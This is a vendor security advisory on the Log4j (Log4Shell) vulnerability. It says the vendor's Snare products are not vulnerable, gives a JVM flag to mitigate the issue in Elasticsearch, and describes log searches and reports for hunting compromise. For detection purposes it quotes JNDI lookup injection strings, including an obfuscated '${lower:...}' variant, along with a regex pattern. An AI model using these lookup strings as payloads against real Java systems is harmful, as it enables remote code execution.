The latest cyber vulnerability that lies in the Log4j open source Apache logging framework has been impacting systems worldwide. The recent vulnerability report called Log4j is a critical vulnerability for Java-based applications, as it can lead to a RCE depending on the configuration of the system. There is active exploitation in the wild and systems are reporting that various Trojans, ransomware, and crypto miners have been known to be loaded.

Some details on the vulnerability are:

“CISA is working closely with our public and private sector partners to proactively address a critical vulnerability affecting products containing the log4j software library. This vulnerability, which is being widely exploited by a growing set of threat actors, presents an urgent challenge to network defenders given its broad use. End users will be reliant on their vendors, and the vendor community must immediately identify, mitigate, and patch the wide array of products using this software.  Vendors should also be communicating with their customers to ensure end users know that their product contains this vulnerability and should prioritize software updates.”

The Snare Agents are not vulnerable to the Log4j vulnerability

Our Snare Agents do not use any Java, Apache, IIS or .Net based components and have minimal third party-based libraries such as OpenSSL as they are based on C++ code base, which reduces the attack surface. All third party modules are updated regularly as part of software updates and depending if a vulnerability is detected in one of these modules.

The Snare Central log management and reporting system is also not vulnerable in its default configuration as its not running any Java components by default. However, if a customer has enabled the Elasticsearch option used for the add-on Analytics application, then it can raise the risk. Elasticsearch access is restricted by an authentication proxy and is not directly accessible from the network. The only direct access method is via an existing shell on the server or from the system console.



Elasticsearch is not susceptible to remote code execution with this vulnerability due to our use of the Java Security Manager. Elasticsearch on JDK8 or below is susceptible to an information leak via DNS which is fixed by a simple JVM property change. The information leak does not permit access to data within the Elasticsearch cluster.


  • Update the /etc/elasticsearch/jvm.options file with the additional parameter in the log4j section around line.

    • -Dlog4j2.formatMsgNoLookups=true

  • Restart elasticsearch once the file has been saved with

    • “service elasticsearch restart” or “systemctl restart snare.service”.

  • We will incorporate this update mitigation in the next patch for Snare Central.


You can use the dynamic search option to look for JNDI and LDAP requests in the webserver logs you collect using the Snare Agents using a query similar to the following:


This will search the WebLogs that the Snare Agents are collecting from IIS or Apache systems for the last 5 days – it is a case insensitive search. You can adjust the timeframe to suit. Indications are that attacks have been occurring since December 1st to check all the logs since then.

Typically the logs will show something in this form within the logs:

${jndi:ldap://{malicious website}/a}

Other application logs should also be reviewed for other patterns such as:

  • ${jndi:ldap:/}
  • ${jndi:ldaps:/}
  • ${jndi:rmi:/}
  • ${jndi:dns:/}
  • ${jndi:iiop:/}

You can run an extended search using the following:

DATE>=’13’ AND TABLE = ‘WebLog’ AND ALLFIELDS REGEXI ‘jndi:(ldap|ldaps|rmi|dns|iiop|\$)’

Some examples of activity seen in logs”

  • ${jndi:ldap://}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://world443.log4j.bin${upper:a}


Proxy logs can be searched using the standard reports where the logs were collected using the Snare Agents. The proxy logs may be a path to the Internet to access malicious content or used to exfiltrate data. By reviewing the top sites or users, it may highlight who and where the activity was coming from for compromised users and systems.

The standard reports are located here:

Reports\Application Audit\Proxy Servers


Logins to other systems can be detected using the standard login reports to show which systems users are logging into. The report can be cloned as many times as needed with each of them having additional filters applied for specific users or groups of users to filter down to specific user account logging in to multiple systems. This could be an indication of account compromise if the user access was not legitimate. Out-of-hours login reports can also be run to see which accounts are being used in non standard working hours when the accounts would not normally be used.

The location for user login activity is found here for Windows and other operating systems:

Reports\Operating Systems\Login Activity

User and group changes can also be tracked and reported on. One of the changes the malware does is to change or add users to have privileged access. Tracking if users have been added or removed, system policy changes occurring, or audit logs being cleared can be a sign of malicious activity with the attacker trying to hide their tracks, hide group and group member changes as well as specific user changes for additional access.

Snare Central has reports for tracking administrative user activity located here:

Reports\Operating Systems\Administrative Activity


Reviewing process execution can be complicated in understanding what are normal applications used on the corporate network what are not. However, having context into what is run, then seeing what is abnormal can be done by reviewing the activities of the key systems then expanding to review other systems as needed. Where application white listing has been implemented the risk maybe lower, however not all organisations have been able to white list all application usage.

Snare Central has some base reports that allow the user to show what commands are being run on the systems.

If the customer also has sysmon installed, then it will provide additional information and parameters used in commands that are run, including PowerShell commands. The reports can be cloned as many times as needed and adjusted with additional filters to search for specific applications or exclude known white listed applications and then report on other unknown applications.

The location for process Monitoring can be found here:

Reports\Operating Systems\Process Monitoring


Where Snare Central is collecting firewall, router, switch and other logs from snort or other IDS/IPS systems it can help correlate actions performed by systems and/or users to show where downloads of malicious content or where data is being exfiltrated to. Reports can be created for a variety of network devices with filters being created to look for specific IP addresses of interest from either internal or external sites. In the case of this attack and any other compromised server may help narrow down what the actions were and how they were performed on the corporate network.

Some of the standard Network activity monitoring reports can be found here:



Database Activity Monitoring – as provided using our Snare MS SQL agent – can help provide additional information on what corporate data was accessed inside the MS SQL Server databases.

By tracking the access to the databases and reviewing the contents of the SQL commands and who was running them, it can provide additional forensics combined with the other user activity performed on the systems. There are several standard reports in Snare Central that provide details on Admin and DBA activity, database activity, and usage for specific commands. Users can report on login activity, use of user rights, review specific SQL events, report on objects accessed by using custom reports, and tune them based on the customer’s specific naming conventions.

Some of the standard reports can be found here:

Reports\Application Audit\MSSQL Server

For additional information on the log4j vulnerability and Snare, please contact our sales team, here.